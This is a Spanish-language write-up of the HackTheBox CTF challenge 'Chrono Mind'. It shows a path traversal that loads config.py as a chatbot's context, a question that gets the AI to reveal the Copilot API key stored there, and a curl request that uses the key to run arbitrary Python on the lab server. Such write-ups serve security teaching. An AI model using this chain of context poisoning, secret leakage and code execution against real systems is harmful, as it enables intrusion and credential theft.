Chrono Mind Misc CTF - HackTheBox
Contexto
Se nos proporciona acceso a una web con tres opciones de contexto que se le van a proporcionar a la IA para poder hacerle preguntas.
En el código que nos podemos descargar tenemos las funciones principales que usa la API de la IA Chrono Mind.
Modificando el contexto de la IA
En el fichero “utils.py” vamos a ver la función que se encarga de obtener el fichero de contexto.
1
2
3
4
5
6
7
def getRepository(topic):
for suffix in ['', '.md']:
repoFile = f"{Config.knowledgePath}/{topic}{suffix}"
print(repoFile)
if os.path.exists(repoFile):
return readFile(repoFile)
return None
La variable viene desde el archivo config.py.
1
2
3
4
5
6
7
8
import os
class Config():
roomID = None
createProgress = False
chatProgress = False
knowledgePath = f"{os.getcwd()}/repository"
copilot_key = "REDACTED_SECRET"
Como vemos también se configura una clave API para algo llamado Copilot.
Ahora para poder modificar el contexto de un chat, vamos a interceptar la petición que se hace a la API de /create.
Al modificar el archivo de contexto haciendo un path traversal, le damos la clave de API que necesitamos para poder llamar a Copilot.
Función para llamar a Copilot
En la ruta /route/api.py vamos a encontrar el codigo API que maneja la IA.
Una de las funciones que se puede llamar es la llamada a copilot/complete_adn_run
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@router.post("/copilot/complete_and_run")
def copilot_complete_and_run(response: Response, params: copilotParams):
if Config.copilot_key != params.copilot_key:
response.status_code = 403
return {"message": "Invalid API key"}
# get code completion
completion = lm.code(params.code)
if not completion.strip():
return {"message": "Failed to get code completion"}
full_code = params.code + completion.strip()
# return the response
return {"completion": full_code, "result": evalCode(full_code)}
Como vemos en la función copilot_complete_and_run, se llama a la función evalCode que se encarga de ejecutar el código completo, pero es necesaria la API_key para poder llamar a Copilot.
Si en utils.py comprobamos el código de la función evalCode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def evalCode(code):
output = ""
random = uuid.uuid4().hex
filename = os.path.join("uploads/") + random + ".py"
# Guarda el código en un archivo y lo ejecuta
try:
with open(filename, "w") as f:
f.write(code)
output = subprocess.run(
["python3", filename],
timeout=10,
capture_output=True,
text=True,
).stdout.strip("\n")
cleanup(filename)
return output
except Exception as e: # handle any exception
print(e, flush=True)
cleanup(filename)
return False
Por lo que si conseguimos inyectar codigo lo ejecutará.
Obteniendo la API_key
Bien, ahora que tenemos el chat con el contexto modificado simplemente le preguntamos a la IA cual es la clave de API.
Obteniendo la flag
Ahora con la clave de API podemos llamar a Copilot y obtener la flag.
Para saber los parámetros que usa simplemente en api.py podemos observar las variables que se pasan a copilot_complete_and_run.
1
2
3
class copilotParams(BaseModel):
code: str
copilot_key: str
Ahora mediante curl podemos llamar a copilot/complete_and_run y obtener la flag, ya que sabemos que lo que hace es crear un archiv .py que se ejecuta con el contenido del parámetro code.
- Listamos los directorios en la raíz del servidor.
1
2
3
4
❯ curl -X POST http://94.237.59.180:54043/api/copilot/complete_and_run \
-H "Content-Type: application/json" \
-d '{"code": "import os; print(os.listdir(\"/\"))", "copilot_key": "4928309140372768"}'
{"completion":"import os; print(os.listdir(\"/\"))# 列表\nprint(os.listdir(\"/home/\")) # 打印目录下面的文件","result":"['media', 'var', 'bin', 'srv', 'dev', 'opt', 'run', 'root', 'sys', 'usr', 'sbin', 'mnt', 'proc', 'lib64', 'tmp', 'boot', 'etc', 'lib', 'home', 'readflag']\n['chrono']"}%
Si observamos hay un directorio o fichero llamado “readflag”. Si nos fijamos en el codigo que nos permiten descargar, encontramos un ficho llamado “readflag.c” que nos permite leer la flag.
Sabiendo esto podemos simplemente ejecutar el fichero y obtener la salida.